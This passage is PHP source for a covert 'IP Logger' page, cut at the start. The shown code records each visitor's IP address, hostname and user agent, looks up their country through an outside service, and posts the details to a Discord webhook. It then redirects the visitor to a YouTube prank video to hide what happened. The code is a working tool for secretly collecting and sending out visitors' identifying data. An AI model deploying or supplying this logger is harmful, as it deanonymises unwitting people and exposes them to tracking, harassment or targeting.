$url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => [ "Length" => strlen($data), "Content-Type" => "application/json" ] ]); $res = curl_exec($ch); curl_close($ch); return $res; } /* Get IP information */ $ip = $_SERVER['REMOTE_ADDR']; $host = gethostbyaddr($_SERVER['REMOTE_ADDR']); $agent = $_SERVER['HTTP_USER_AGENT']; $country = json_decode(post('https://router.unrealsec.eu', 'WHERE '.$ip)); /* Build Discord Webhook message */ $url = "discord webhook url here..."; $msg = json_encode([ "username" => "IP Logger", "tts" => false, "embeds" => [ [ "type" => "rich", "description" => "", "color" => hexdec("28859c"), "fields" => [ [ "name" => "IP address", "value" => "[".$ip."](https://ipinfo.io/".$ip.")", "inline" => true ], [ "name" => "Country", "value" => $country->name, "inline" => true ], [ "name" => "Hostname", "value" => $host, "inline" => false ], [ "name" => "Useragent", "value" => $agent, "inline" => false ] ] ] ] ], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ); /* Send message to Discord Webhook */ post($url, $msg); /* Redirect visitor */ header('Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ'); die(); ?>